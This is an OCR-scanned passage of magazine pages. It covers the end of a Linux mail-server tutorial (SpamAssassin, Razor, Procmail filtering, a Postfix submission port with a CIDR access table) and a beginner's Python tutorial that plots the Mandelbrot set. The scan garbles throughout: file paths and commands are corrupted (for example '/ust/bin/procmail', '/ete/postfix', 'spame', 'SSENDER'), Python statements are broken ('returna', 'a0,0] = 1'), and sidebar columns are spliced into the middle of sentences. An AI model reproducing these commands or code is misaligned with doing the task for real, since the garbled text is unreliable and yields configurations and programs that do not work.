razor_config /etc/mail/spamassassin/razor/razor-agent.conf 

You should review the other configuration items, 
adjusting it to suit your needs. You may like to rewrite 
the headers of spam messages so they contain a 
#eREES PAM **#** prefix. 
rewrite_header Subject *****SPAM***** 

SpamAssassin doesn't enable DCC, because it isn't 
open source but, if you want to use it, you can enable it 
by uncommenting the following line in /etc/mail/ 
spamassassin/v310.pre: 
loadplugin Mail::SpamAssassin::Plugin::DCC 
and then initialise DCC: 
$ rm -f /opt/dec/map 
$ chmod 600 /opt/dcc/map.txt 
$ cdcc load /opt/dec/map.txt 

You need to create a Bayes directory for the spamd 
user and also register a Razor identity: 
$ mkdir -pm 700 /srv/mail/spamassassin/bayes 
$ chown -R spamd: /srv/mail/spamassassin 
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Mon Tue Wed Thu 


S41 msgs/min 


404 msgs/min [Fri Jun 4 08:48:09 2004] 


$ razor-admin -home=/etc/mail/spamassassin/razor -create 
$ razor-admin -home=/etc/mail/spamassassin/razor -discover 
$ razor-admin -home=/etc/mail/spamassassin/razor -register 
Register successful. Identity stored in /etc/mail/spamassassin/ 
razor/identity-ruHZVUhY7x 

Before you can launch the SpamAssassin daemon, it 
needs some spam detection rules to use, which it 
expects to find under /var/lib/spamassassin. Use the 
update tool to download them: 
$ sa-update 

With the configuration complete, you can start the 
daemon and run some tests. You can download 
GTUBE, the Generic Test for Unsolicited Bulk Email, 
and use it to test your SpamAssassin setup. 
$ wget http://spamassassin.apache.org/gtube/gtube.txt 
$ systemctl enable spamassassin 
$ systemctl start spamassassin 
$ spame < gtube.txt 
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on 
mailserver 
X-Spam-Flag: YES 
X-Spam- Level 2 KRKKKEKERERERERRRERERERERERARERAE REE ARERR RERERER 


aK 


X-Spam-Status: Yes, score=1000.0 

You can feed known Spam into the Bayesian filter, 
however, that it may take a while before enough spam 
is learnt before Bayesian spam detection gives results: 
$ sa-learn --spam /path/to/spam/mails 
Learned tokens from 683 message(s) (683 message(s) 
examined) 

Finally, we need to add a Procmail recipe to detect 
spam. We limit spam checks to emails smaller than 
250KiB — most spam is smaller than this and having 
this rule avoids overloading spamd: 

:0 fw 
* < 256000 
| /usr/bin/spame 

Any messages containing detected spam will have 
a X-Spam-Status header added that we use to 
quarantine them just like we did for viruses: 

:0w 
* 4X-Spam-Status: Yes 
| SLMTP_DELIVER -m Spam $MAILBOX 

You can test your Procmail configuration with the 
GTUBE test file. Use your email client to create a Spam 
folder and then send a test spam into It: 
$ procmail MAILBOX=testuser < gtube.txt 

We need to change how our MTAs deliver mail so 
that it is processed through Procmail. For Fetchmail, 


replace the defaults section in /etc/fetchmailrc: 
mda “/ust/bin/procmail MAILBOX=%T” 
When Procmail is invoked by Fetchmail, it's the 
fetchmail user that delivers mail. Allow this by adding 
it to the mail group: 
$ usermod -aG mail fetchmail 
Two changes are required for Postfix. First, in /ete/ 
postfix/main.cf, change the virtual_transport so that 
itreads 
virtual_transport = procmail 
This tells Postfix to use a transport called procmail 
to deliver mail. We define this transport by adding a 
new definition to the end of /etc/postfix/master.cf. It 
states that mail should be delivered by launching 
Procmail: 
procmail unix - nn - - pipe 
flags=OR user=cyrus argv=/usr/bin/procmail -t -m 
MAILBOX=S({recipient} /etc/procmailrc 
Reload Postfix and then send some test emails and 
ook for them in your inbox. Congratulations, your 
incoming emails are now processed through your 
filtering system for a spam-free life! 


In Submission 
n part 1 we mentioned the Message Submission 
Agent (MSA)that clients should use to send email 
instead of sending it to the MTA’s SMTP port 25. The 
MSA accepts submissions on port 587 with or 
without TLS. By implenting MSA, we gain several 
advantages, including the ability to have separate 
control over inbound and outbound messages. We 
need to enable MSA in /ete/postfix/master.cf. 
Uncomment the submission daemon and the 
following lines so that it looks like this: 
submission inet n - n - - smtpd 
-o syslog_name=postfix/submission 
-o smtpd_client_restrictions=permit_mynetworks, reject 

This allows clients on your network to connect and 
send but any other connections would be rejected. 
Reconfigure your email client to use port 587 instead 
of port 25 and send a test message to confim that you 
can send. We changed the log name so that the logs 
label connections to the submission service differently; 
you can confirm via the logs that your email client is 
sending to the correct service. 
We can now prohibit local clients from sending to 
port 25. Create a lookup table to list the local networks 
that should not be able to send via the MTA port. You 
can also permit specific addresses if necessary. The 
CIDR (Classless Inter-Domain Routing) table format is 
suitable for specifying networks; here is an example 
/etc/postfix/smtp_access.cidr that prohibits internal 
networks except for a specific address (customise 
yours according to your needs): 


10.0.1.100 OK 

10.0.0.0/8 REJECT 
172.16.0.0/12 REJECT 
192.168.0.0/16 REJECT 


Add a rule in /etc/postfix/main.cf to check client 
connections against the access table. The default 
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A Procmail primer 


The procmailre script is a series of recipes 
that are applied sequentially to a message. 
Each recipe begins with the cryptic :0 
character sequence followed by optional 
conditions and an action to perform if the 
conditions are met. A recipe is considered 
matched if its conditions are met. 

Besides recipes, you can assign values to 
variables. The special LOG variable writes 
anything that is assigned to it into the log. 

A recipe may have flags after its opening 
:0 We've used these flags in our examples: 
@h makes the rule process message 

headers only. 
®@w makes the rule wait for its action to 


complete. 

@ f means the rule is a filter and can alter the 
message. 

A condition is an asterisk and a regular 
expression or a shell command. The 
condition is satisfied if the expression 
matches or a command succeeds. 

Actions are either a file to write the 
message to (we've used /dev/null in a few 
places) or they begin with a pipe symbol and 
launch a command, passing the message 
into its standard input. Actions are assumed 
to deliver the message and processing stops 
on the first suvh recipe to be completed 
(filter recipes are non-delivering). 


action is to permit so that genuine SMTP mail delivery 


from the internet is allowed: 
smtpd_client_restrictions = 


check_client_access cidr:/etc/postfix/smtp_access.cidr 

Use postfix reload so that your changes take effect, 
and then perform some tests from an email client to 
ensure that you can send on port 587 but not port 25. 
Verify also that incoming messages still work! 

Another thing that using a MSA makes easy is 
outbound filtering. You can also use Procmail to filter 
outbound messages. You first configure a content_ 
filter on the submission service that invokes another 
service to pass the message into Procmail, which must 
re-inject it back into the message queue using the 
Postfix sendmail command. This configuration goes in 
/etc/postfix/master.cf, beginning with the content 
filter. Add the following to the existing submission 


definition, after the client restrictions: 
-o content_filter=procmail-outbound 


Now, define the procmail-outbound service; append 


to the end of the file: 
procmail-outbound unix - nn - - pipe 


flags=Rq user=cyrus argv=/ust/bin/procmail -t -m 


SENDER=${sender} /etc/procmail/outbound-recipes 

Here's an example outbound-recipes that uses 
formail to add a header to the outbound message 
before queuing It using Postfix's “sendmail” command: 


:0f 


| formail -fA “X-Outbound-Content-Filtered: Yes” 


:0w 
| /usr/bin/sendmail -G -i -t -f SSENDER 
EXITCODE=$? 


We've now provided ways to separately filter both 
inbound and outbound mail, and you can build on 
these concepts to provide filters according to your 
needs. In part 3 we'll provide a way for end-users to 
filter their own messages so they can organise them 
into sub-folders and look at how users can access 


mail when out of the office. &@ 


John Lane is a technology consultant with a penchant for 


Linux. He helps new businesses and start-ups make the most 
of open source software. 


www.linuxvoice.com 


95 


V_ CODING MANDELBROT & PYTHON 


Tain PYTHON: MAKE YOUR OWN 
find MANDELBROT SET 


With a smattering of Python and a bit of clever maths you too can 
create a bit of beautiful chaos inside your Linux box. 


he image below depicts the famous code files and using shells to execute the programs. 
WHY DO THIS? [ Mandelbrot set. You may have seen it on You can also share your web-based “notebooks” by 
* Create hugely complex posters, music videos or demonstrations of exporting them, or sharing them online. 
Semi aeimpe computer power — back in the 1990s it took hours to There are pre-packaged distributions of IPython 
+ Turn this into pretty plot it using home computers. Despite its organic including the numerical and graphical extensions, so 
graphs! intricate appearance tt is in fact the result of extremely — you don't have to worry about installing and 
simple mathematics. configuring the right versions and their many 
The maths hasn't changed since the 1990s, but dependencies. Even better, because IPython is used 
computing power has come on in leaps and bounds, purely through a web browser, you can use one of 
so the psychedelic beauty of the Mandelbrot set can several online services offering IPython in the cloud. 
be ours to play with. We'll be using the Python You don't have to install any software at all, and you 
programming language because it's popular, easy to can work on your code and demonstrate the results 
learn, and has well established numerical and plotting from any internet-connected device that supports a 
extensions. It's no accident that Python is the tool of modern browser. 
choice in the scientific community, as well as The code in this article series was tested with the 
ee powering some of the world's largest infrastructures. online service from wakari.io, which offers free trial 
The following images 
are closeups of parts of Asan interpreted, rather than compiled anguage, accounts, and the locally installed [Python Anaconda 
ihiesame frartal The Python gives immediate feedback. We're going to take __ free distribution from continuum.io. 
Mandelbrot set is in fact this interactivity one step further by using IPython, Whether you select an online service or install your 
infinitely detailed, and which is Python packaged with an interactive web own |Python distribution, check to see if it works by 
contains a wide variety of interface. You can just type instructions and get firing it up and clicking on New Notebook. Type 2*3 
patterns. results straight away. You avoid having to edit source ~—_into it and click the Run button, which looks like an 
audio play selector. If it responds with ‘6’, great — you 
have a working IPython environment! 


Beginning Python 
Let's now learn just enough Python to make our own 
Mandelbrot fractal. Fire up [Python and open a new 
notebook. In the next ready cell, labelled In [], type the 
following code and click Play (or press Ctrl+Enter). 
print “Hello World!” 
You should get a response that simply prints the 
phrase “Hello World!” You should see that issuing the 
second instruction didn't remove the previous cell with 
its instruction and output answer. This is useful when 
you're slowly building up a solution of several parts. 
The following code introduces the key idea of 
variables. Enter and run it in a new cell. If there is no 
new empty cell, click the button with the downward 
pointing arrow labelled ‘Insert Cell Below’, not to be 
confused with the one labelled “Move Cell Down". 
x=10 
print x 
print x+5 
print z 
The first line, x = 10, looks like a mathematical 
statement that says x is 10. In Python this means that 
x is set to 10, that is, the value 10 is placed in an 
virtual box called x. That 10 stays there until further 
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Fractals 


MANDELBROT & PYTHON CODING V 


Before we dive in and start coding, let's take a 
step back and consider again some of the patterns 
we find in nature or create ourselves. Look at the 
following three images. 

The first set of shapes is very regular. They're 
what most people would consider mathematical 
shapes, but there isn’t enough interesting detail in 
them to hold our attention for long. The last image 


is entirely random noise — there isn't a lack of 
detail, but now there isn’t enough structure in the 
image to keep us interested. The cauliflower has 
repeated patterns at different scales. These 
patterns also have just the right amount of variation 
to keep us interested. This is a common theme 
throughout nature, where clouds, mountains, rivers, 
trees, blood vessels etc all have self-similar 


patterns with just the right amount of unpredictable 
variation. These patterns are called fractals. 

The Mandelbrot fractals appear natural, organic 
and even beautiful because they too sit at that fine 
line between order and chaos, having structures 
that have self-similar patterns but infused with just 
enough variation — and parts of these fractals do 
look like plants, lightning or natural coastlines. 


notice. We shouldn't be surprised that print x prints 
the value of x, which is 10. Why doesn't it just print x? 
Python will evaluate whatever it can, and x can be 
evaluated to the value 10, so it prints that. The next 
line, print x+5 evaluates x+5, which is 10+5 or 15, so 
we expect it to print 15. 

What happens with the line print z when we haven't 
assigned a value to it like we have with x? We get an 
error message telling us about the error of our ways, 
trying to be helpful as possible so we can fix it. 


Automating lots of work 

Computers are great for doing similar tasks many 
times — they don't mind and they're very quick 
compared with humans with calculators. Let's see if 
we can get a computer to print the first 10 squared 
numbers, starting with O squared, 1 squared, then 2 
squared and so on. We expect to see a printout of 
something like 0, 1, 4, 9, 16, 25, and so on. Issue the 
following code into the next ready cell and run it. 
range(10) 

You should get a list of 10 numbers, from 0 up to 9. 
This is great because we got the computer to do the 
work to create the list — we didn’t have to do it 
ourselves. 

A common way to get computers to do things 
repeatedly is by using loops. The word loop does give 
you the right impression of something going round 
and round potentially endlessly. Rather than define a 
loop, it's easiest to see a simple one. Enter and run 
following code in a new cell. 
for n in range(10): 

print n 
pass 
print “done” 

There are three new things going on here. The first 
line has the range(10) command that we saw before, 
which creates a list of numbers from 0 to 9. The forn 


in is the bit that creates a loop, and here it does 
something for every number in the list, and keeps 
count by assigning the current value to the variable n. 
We saw variables earlier, and this is just like assigning 
n=0 during the first pass of the loop, then n=1, then 
n=2, until n=9, the last item in the list. 

The next line print n prints the value of n, just as 
before. We expect all the numbers in the list to be 
printed. But notice the indent before print n. This is 
important in Python as indents are used meaningfully 
to show which instructions are subservient to others, 
in this case, the loop created by for nin.... The loop 
ends when the code stops being indented. Here, we've 
used a pass instruction to highlight the end of the loop 
(pass is superfluous, and Python will ignore it but it 
helps the interpreter exit a code block. You can remove 
it if you want). This means we only expect done to be 
printed once, and not 10 times. 

t should be clear now that we can print the squares 
by printing n*n. In fact we can make the output more 
helpful with phrases like “The square of 3 is 9”. The 
following code shows this change inside the loop. 
Note how the variables are not inside quotes and are 
therefore evaluated. 
for n in range(10): 

print “The square of”, n, “is”, n*n 

pass 
print “done” 

This is already quite powerful. We can get the 
computer to do a lot of work very quickly. We could 
easily make the number of loop iterations much larger 
by using range(100) or even range(100000) if we 
wanted. Try it! 


V PRO TIP 


Explore the Mandelbrot 
fractal using the 
interactive XaoS open 


source software at 
http:/bit.ly/1vLdz52 or 
through a web browser 
http://bit.ly/1IbXYL1. 


Functions 

Python makes it easy to create reusable computer 
instructions. Like mathematical functions, these 
reusable snippets of code, also called functions, stand 
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# and outputs their average 
def avg(x,y): 
print “first input is”, x 
print “second input is”, y 
a=(xt+y)/2.0 
print “average is”, a 
returna 
The first two lines beginning with # are ignored by 
Python, but we use them to add comments for future 
readers. The next bit, def avg(x,y), tells Python we are 
about to define a new reusable function. That's the def 
keyword. The avg part is the name we've given it. It 
could have been called “banana” or “pluto” but it 
makes sense to use names that remind us what the 
function actually does. The bits in brackets (x,y) tells 
Python that this function takes two inputs, to be called 
G 
t 


x and y inside the definition of the function. 

Now that we've signalled to Python that we're about 
to define a function, we need to actually tell it what the 
function is to do. This definition of the function is 
indented under def. The first and second numbers, x 
and y, which the function receives when it is invoked 
are printed. The next bit calculates (x+y)/2.0 and 
assigns the value to the variable named a, before it is 
printed. The last statement says return a. This is the 
end of the function and tells Python what to return 
back to whoever invoked it. 


The amazing thing is 


that all this detail and on their own if you define them sufficiently well, and When we ran this code, it didn't seem to do 
variety emerges from the allow you to write shorter more elegant code. Why anything. There were no numbers produced. That's 
behaviour of avery simple shorter code? Because invoking a function by its because all we've done is define the function; we 
mathematical function; name many times is better than writing out all the haven't used it yet. What has actually happened is that 
z2+c. function code many times. (By sufficiently well Python has noted this function and will keep it ready 
defined we mean being clear about what kinds of for when we want to use it. 
input a function expects, and what kind of output it In the next cell enter avg(2,4) to invoke this function 
produces. Some functions will only take numbers as with the inputs 2 and 4. The output should be what we 
input, So you can't supply it with text.) expect, with the function printing a statement about 
Let's look at a simple function and play with it. Enter the two input values and the average it calculated. The 
he following code and run it. following shows the function definition and the results 
# function that takes 2 numbers as input of calling it with avg(2,4) and also bigger values (200, 


V PRO TIP Explore fractals in a web browser 


In Python, like many You can explore the Mandelbrot fractal without installing any image. You can then point at a new point in the closer view, or 
ies El ape software at all. The following two are implemented entirely in go back and pick a new point to explore from. 

Tarai, Garena JavaScript, so you only need a modern browser to explore the The explorer at http://mandelbrot-set.com requires you 

x is set to 5 until, and fractals. Have a go! to use your pointer to select a rectangle to zoom into. The 

if, itis updated later. The explorer at http://davidbau.com/mandelbrot enables level of detail calculated rapidly is impressive. You can select 
This is different from you to progressively click on points to cretae a new closer different colour schemes with the options menu. 


the mathematical or 
logical equivalence, 
which can confuse new 


programmers. 


The simple folk of the 90s would be awed and terrified to see the Mandelbrot set calculated in a browser. 
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301). Experiment with your own inputs. 

You may have noticed that the function code which 
calculates the average divides the sum of the two 
inputs by “2.0" and not just “2”. This is because “2” is 
an integer and so Python will round the result to an 
integer as well, which we don't want here. 


Arrays 

Arrays are just tables of values. You refer to particular 
cells with the row and column number, just like you 
would with cells in a spreadsheet. 

Enter and run the following code. 

a = zeros( [3,2] ) 
printa 

This creates an array of shape 3 by 2, with all the 
cells set to the value zero and assigns the whole thing 
to a variable named a. Printing a shows the array full 
of zeros in what looks like a table with three rows and 
two columns. 

Now let's modify the contents of this array. The 
following code shows how you can refer to specific 
cells to overwrite them with new values. It’s just like 
referring to spreadsheet cells or street map grid 
references. 
a0,0] = 1 
af0,1] = 2 
a[1,0] = 9 
al2,1] = 12 
print a 

The first line updates the cell at row zero and 
column zero with the value 1, overwriting whatever 
was there before. The other lines are similar updates, 
with a final printout. 

Now that we know how to set the value of cells in 
an array, how do we look them up without printing out 
the entire array? We've been doing it already. We 
simply use the expressions like af[1,2] or a[2,1] to refer 
to the content of these cells. The code shows us 


File Edit View Insert Cell Kernel Hel 


| Code 
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| In [10]: | imshow({a, interpolation="nearest”) 


| Out[10]: <matplotlib.image.AxesImage at 0x282ba4 
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The array cells which have the same value also have the 
same colour. When we plot the Mandelbrot set, we'll be 
using this very same imshow instruction. 


0 2 4 


doing just this. 
print a[0,1] 
v=a{1,0] 
print v 

Remember that the column and row numbering 
starts from 0 and not 1, so the top-left is at [0,0] not 
[1,1]. This also means that the bottom-right is at [2,1] 
not [3,2]. 


Plotting arrays 

Visualising arrays graphically is sometimes more 
insightful than looking at large tables of numbers. We 
can think of them as flat two-dimensional surfaces, 
coloured according to the value at each cell in the 


array. Let's plot the small 3 x 2 array we created above: 


imshow(a, interpolation="nearest”) 
The instruction to create a plot is imshow(), and the 
first parameter is the array we want to plot. That last 
bit, interpolation, is there to tell Python not to try to 
blend the colours to make the plot look smoother, 
which it does by default. The output is shown in the 
image below. 
As a teaser of things to come, the following short 
code will plot different images every time you run it. 
See if you can work out how it works using the online 
Python documentation. 
import numpy as np 
figsize(5,5) 
imshow(np.random.rand(10,10), interpolation="lanczos”) 
To really appreciate the Mandelbrot fractal we need 
to experience for ourselves the unexpected behaviour 
of very simple mathematical functions that lead to 


www.linuxvoice.com 


6 


MANDELBROT & PYTHON CODING V 


An example of the images 


produced by the code 
teaser, below. Can you 


figure out how it works? 


V PRO TIP 


Remember that in 
Python, indents have 
meaning. Instructions 
that are subservient to 
another are indented. 
This includes function 
definitions and the 
contents of loops. An 


errant space or tab can 


cause hard-to-spot errors. 


V PRO TIP 


Experiment with the 
imshow() function 


by trying different 
options explained in its 
documentation at 
http:/bit.ly/TluimkB. 
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V PROTIP 


It's good practice to to 
design your functions 
to always return the 
same result for the 
same set of inputs. 
When your programs 
grow in complexity, this 
is a guarantee that will 
help keep your code 
understandable and aid 


debugging. 


Orbit plot showing 
successive values of z’2+c 
when c=0.4+0.4i. You can 
see an initial circling then 
a sudden divergence. 


its intricate patterns. You don't need to be an expert 
in mathematics to follow and appreciate the same 
surprise felt by those researchers who first pictured 
the Mandelbrot set in the late 1970s. 


Iteration 

You can imagine a mathematical function as a 
machine that does some work. Its job is to take 
numbers in one end, the input, and spit out a new 
number out the other end, the output. What happens 
if we feed the output of one of these functions back 
into it again as the input? 

Let's try it with the function “divide by 3” and starting 
value of 9. We get the sequence 9, 3, 1,%, .. Youcan 
see the numbers getting ever smaller, and in fact 
they'd never get to zero. 

Iteration simply means doing the same thing again 
and again to produce a series of outputs. If the values 
keep growing larger forever, like those from the 
“multiply by 2” function, we say the values diverge. If 
they approach a finite value, like zero, like the “divide 
by 3” function, we say the values converge. 


Starting conditions 

Some functions behave differently depending on their 
starting value — in these cases, we say they are 
sensitive to initial conditions. Consider the function 
“square it” which simply takes an input and multiplies 
it by itself. If the starting value is greater than 1, the 
successive outputs keep growing larger. If the seed 
value is smaller than 1, the values keep getting 
smaller. A seed value of exactly 1 stays the same, and 
separates the two domains of divergence and 
convergence. This idea of domains of different 
behaviour is important for the Mandelbrot fractal 
because that is exactly what it is showing — regions of 
divergence and convergence. 

Other kinds of behaviour were discovered only 
recently in the long history of mathematics. The 
Logistic Map is a function rx(1-x) that was developed 
by scientists trying to model population growth. The 
behaviour Is very sensitive to the starting value and 


25 
Pa) 
— 
ise] 
i= 
D 0 
(so) 
= 
eet 


iterate function “z*2+c’", start value z-0+0i, 
c=0.4+0.41, orbit plot 
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parameter r. 

For some seed values and parameters r, the 
function behaves like a divergent or a convergent 
function. But for some, such as x=0.2 and r=3, the 
function seems to oscillate. This is certainly 
unexpected behaviour! 

What's more, for some other values like x=0.2 and 
r=4 the behaviour breaks down into something 
unrecognisable, apparently random. This is known as 
chaos. Not only is this behaviour surprising from such 
a simple function, it was only really appreciated in the 
last 100 years or so of mathematics, which itself goes 
back thousands of years. 

We're going to see if we can feed our functions a 
new kind of number called a complex number. You 
may remember these from school, but if not, we'll 
explain them here. 

Complex numbers have two parts. They are 
two-dimensional, and so can be used to refer to points 
ina flat plane just like grid coordinates. These two 
parts just happen to be called the real and imaginary 
parts. We can add and subtract these numbers very 
easily by combining the real and imaginary parts 
separately. For example 1+2i added to 3+4i is 4+6i (4 
is the real part and 61 is the imaginary part). 

Multiplying complex numbers is just like school 
algebra. The brackets are expanded and similar terms 
are recombined, but there is one special rule for 
complex numbers: any i2 is replaced by -1. For 
example (2+3i)*(1+4i) is 2 + 81 + i3 + 12i2 which 
simplifies to (-10+111). 

Python can work with complex numbers out of the 
box. We use the form complex(a,b) to tell Python we 
mean atib where ais the real part and bis the 
imaginary part of the complex number. Try the 
following in an IPython notebook. 

# assign the complex number (2+3i) to c 
c = complex(2,3) 
print c 


# print c multiplied by (1 - 4i) 
print c * complex(1,-4) 


# print c squared 
print c*c 

The behaviours we saw earlier, including oscillation 
and chaos, also occur for functions working on 
complex numbers, except they take place in two 
dimensions. The successive values from a function 
are called orbits. The plot below-left shows successive 
values for the simple function z2+e with z starting at 0 
and c=0.4+0.4i. You can see that after an initial 
circling, the values suddenly diverge — not the 
behaviour we were used to at school with less 
interesting functions! 


Mandelbrot fractal recipe 

The Mandelbrot set is just a two-dimensional atlas 
coloured to show which regions of its world, the 
two-dimensional complex plane, diverge or converge 


when the amazingly simple function z2+e is applied 
iteratively. Here z starts at 0, and cis the complex 
number representing the chosen point on the complex 
plane. If a chosen point diverges and gets bigger and 
bigger it is considered outside the Mandelbrot set. We 
could colour all such points one colour, but it is 
common to chose a colour according to how rapid the 
divergence is. The points inside the set, those which 
don't diverge, are usually coloured black. 

It turns out, to many people's surprise, that the 
boundary between the two is not a boring shape like a 
circle but is incredibly detailed and intricate, and in 
fact beautiful — it is the famous Mandelbrot fractal! 


Mandelbrot set in Python 
We'll build up a Python program to calculate and plot 
a Mandelbrot fractal in easy to understand pieces. 
Let's start at the core of the Mandelbrot calculation. 
For each point being tested on a selected rectangle of 
the complex plane, the function z2+¢ is repeatedly 
iterated the resulting values may diverge rapidly. The 
point is coloured according to how quickly that 
function diverges. This means the Python function we 
want to write returns the number of iterations it takes 
to diverge beyond a threshold magnitude. The 
function still needs to calculate successive values of 
Z2+¢, it just doesn't have to return them. So the start 
and end of the core calculating Python function, which 
we'll call mandel(), looks like the following. 
def mandel(c): 


return iterations 

What if the point doesn't diverge? We can define the 
maximum number of iterations the function is to be 
applied before giving up. We can pass it as a 
parameter to the core mandel() function. The function 
would then look something like mandel(c, maxiter). 
Why would we need to change it? Well, as you explore 
the Mandelbrot fractal's finer detail, you need more 
iterations to establish whether very close points 
behave differently or not. 

We now have a mandel() function that takes the 
test point ¢, and the maximum number of iterations 
as its parameters: 
def mandel(c, maxiter): 

z = complex(0,0) 


for iteration in xrange(maxiter): 


pass 


return iteration 

We set the starting value of z to be zero, or more 
precisely (0+0i). The for .. code loop, which iterates a 
maximum of maxiter times, keeps count in the 
variable named iteration. The end of the function is 
still returning the iteration count, whether that reaches 
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the maximum maxiter, or is stopped sooner by a 
magnitude threshold test. What's left is to fill in the 
code describing the iterated function z2+e and then 
check to see if the threshold has been breached. 
These are fairly easy, so let's write them out and 
explain them. 
def mandel(c, maxiter): 

z = complex(0,0) 


for iteration in xrange(maxiter): 
z= (z*z) +c 


if abs(z) > 4: 
break 
pass 


pass 


return iteration 

Here we've added the z = (z* z) + c instructions, 
which calculates the next value of z based on the 
current value and the chosen e. We then check to see 
if the magnitude, or absolute value denoted abs() in 
Python, of ¢ is greater than 4, and if it is, the instruction 
break simply breaks out of the for loop. Once this 
happens there are no more instructions after the loop, 
and so the mandel(c,maxiter) function returns the 


Resources 


If you'd like a fuller explanation of the mathematics and 

Python discussed in this series, you'll find the Make Your 

Own Mandelbrot ebook (Amazon and Google) takes a 

slower journey with more examples and discussion. All the 

source code can be found at the blog. 

B Source code http://makeyourownmandelbrot.blogspot. 
co.uk/2014/04/sharing-code.html 

@ [Python http://ipython.org/install.html 

B® Wakari.io www.wakari.io 

® XaoS http://matek.hu/xaos/doku.php 

® Blog http://makeyourownmandelbrot.blogspot.co.uk 

B® Amazon Kindle ebook www.amazon.co.uk/dp/ 
BOOJFIEC2A 
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Some examples of 
functions: the square 


functions takes an input of 
4 and squares it, producing 


the resulting answer 16. 


V PROTIP 


There are several kinds 
of convergence you'll 
find if you experiment 
with these and similar 
functions. Successive 
values will get closer 

to, but never reach, 

Zero or a finite value. 
Alternatively, they will 
fluctuate above and 
below a value as they get 
ever closer to it. In some 
cases they might orbit 
about a finite number of 
different attractors, that 


is, multiple points which 
seem to pull them closer. 


V PROTIP 


Complex numbers really 
aren't complex. The term 
is an accident of history, 
and sadly puts some 
people off them. If they 
were called composite 
numbers, that would 
reflect the fact that 

they are made up of two 
independent parts. 
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V PROTIP 


You can find a visual 
representation and 
gentler explanation of the 


algorithm to calculate 
and plot the Mandelbrot 
fractal at 
http://bit.ly/1qK78e3 


Add the two complex numbers (a + bi) and (c + di) 


Subtract the complex number (c + di) from (a + bi) 


Multiply the two complex numbers (a + bi) * (c + di) 


Arithmetic with complex numbers 


The following table summarises how to add, subtract and multiply complex numbers. 


(a + bi) + (c + di) = (atc) + (b+d)i 
Add the real and imaginary parts independently. 


(a+ bi) - (c + di) = (a-c) + (b-d)i 
Subtract the real and imaginary parts independently. 


(a + bi) * (c + di) = (ac + adi + bei + dbi2) = (ac-bd) + (ad+bc)i 
Expand out the terms and apply the special rule that i2 is -1. 
Then collect real and imaginary parts to make a neat answer. 


value of iteration. If the point doesn't diverge, then 
abs(z) is never more than 4, so the for loop simply 
keeps running until the count reaches the maximum 
iterations, and it is this maximum that is then finally 
returned by the mandel(c, maxiter) function. 


The atlas 


We now need to define in Python which part of this 


“We want to colour each region 
according to its convergence 
or divergence behaviour.” 


complex plane we 
are interested in. We 
also need to divide 
up this section into 
regularly spaced 
points, ultimately 
representing pixels in 
an image. 


Python has a function linspace() which divides an 
interval into evenly spaced points. Let's imagine we 
want a rectangle with bottom-left at (-2,-2) and the 
top-right at (4,2). This has a horizontal length of 6, and 
a vertical height of 4. Let's divide the horizontal length 


After each iteration of the 
‘multiply by 2’ function, 
the results get ever further 
from each other — this is 


into 12 sections, and the vertical into 8. The following 
Python code shows how you can use the familiar 
Python loops over each element of linspace lists to 
create the coordinates for each test point within this 


divergence. rectangle. 
iterate function “multiply by 2”, start value 2 
2400 
1800 
gx 1200 
= 
> 
600 
0 
0 2 4 6 8 
iteration 
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x_list = linspace( -2.0, 4.0, 13) 
y_list = linspace( -2.0, 2.0, 9) 
for x in x_list: 

for y in y_list: 

print xy 
pass 

pass 

Next we need to find a way of associating these 
points with the pixels in an array of colour values that 
could be plotted using the imshow() function we used 
earlier. The complex plane region is just a list of points, 
represented by complex numbers, and these don't 
have a colour associated with them to plot. We need 
to give the imshow() plotting function something that 
contains colour information. Also, imshow() expects 
to plot a two-dimensional array where the contents of 
a cell represent the colour to be plotted, not a long list 
of complex numbers like the ones we created earlier. 

Given that the rows and columns of the plotted 
array need to increment in whole units, we can simply 
place each of the evenly spaced points between the 
bottom-left and top-right into the array. So if the points 
were 0.5 units apart on the complex plane, they would 
be 1 unit apart in the array. 

Let's now define the complex plane region. Enter 
and run the following code. It makes sense to place 
this at the top of your /Python notebook because it 
sets out up front which region you are interested in. 
Use the button marked as ‘Insert Cell Above’ to create 
anew cell at the top. 

# set the location and size of the complex plane rectangle 
xvalues = linspace(-2.25, 0.75, 1000) 
yvalues = linspace(-1.5, 1.5, 1000) 


# size of these lists of x and y values 
xlen = len(xvalues) 
ylen = len(yvalues) 

The first instruction creates a list of 1000 points 
evenly placed between -2.25 and 0.75, inclusive. 
These will be the horizontal divisions of the rectangle, 
and we'll call the list xvalues. Similarly, yvalues is the 
list of 1000 evenly spaced points between -1.5 and 
1.5. The last two lines simply take the length of the 
lists and assign them to variables. 


The following code creates the image array of 
colour values of size xlen by ylen. We've called it atlas 
because we want to colour each region according to 
its convergence or divergence behaviour. 
atlas = empty((xlen,ylen)) 

We're almost there! All that remains is to fill this 
array with colour values and plot it using imshow(). 
The following code uses loops to fill it with the 
returned values from the mandel() function. 
for ix in xrange(xlen): 

for iy in xrange(ylen): 


cx = xvalues|ix] 
cy = yvaluesjiy] 
c = complex(cx, cy) 


atlas|ix,iy] = mandel(c,40) 


pass 
pass 
You'll recognise that this code is simply two loops, one 
inside the other. The loops count through the rows 
and columns of the atlas array using variables ix and 
iy. These counts refer to the contents of the array, 
which are also counted from 0 to xlen-1, and not 1 to 
xlen. You may have noticed that we use xrange 
instead of range. range would work, but for very large 
lists xrange is more efficient because It doesn't 
actually create a list, but gives you the contents as 
you ask for them. 

These two loops enable us to refer to every cell of 
the array using atlasfix,iy]. The code inside the loops 
uses the counts ix and ly to look up the actual 
complex number to be tested by the mandel() 
function. The real and imaginary parts were in the 
xvalues and yvalues lists we created earlier, and can 
be dug out using xvalues[ix] and yvaluesfiy]. 

The last part inside the loops is updating the 
contents of the array with the return value from the 
mandel() function. 


It looks different from the image on the first page of this 
tutorial, but this is actually just a magnified section. 
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iterate function “divide by 3”, start value 10 
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iteration 


That's it, the hard work is done! Now let's see the 
results. In a new cell, enter the following code. 
figsize(18,18) 
imshow(atlas.T, interpolation="nearest”) 

The first line sets the size of the plot to 18 by 18 
because the default is too small. The imshow 
instruction plots the array. We also refer to atlas with 
a.T appended to it because otherwise the array is 
plotted on its side compared to what we want to see. 

Run the code and you'll see the Mandelbrot set. 

You can zoom into parts of the Mandelbrot set by 
changing the bottom-left and top-right points of the 
complex plane region. We simply change the code 
that sets the xvalues and yvalues. For example, using 
the rectangle from earlier in this guide with the values 
(-0.22 - 0.70i) bottom-left and (-0.21 -0.69i) as 
top-right means setting the following xvalues and 
yvalues as follows: 

# set the location and size of the atlas rectangle 
xvalues = linspace(-0.22, -0.21, 1000) 
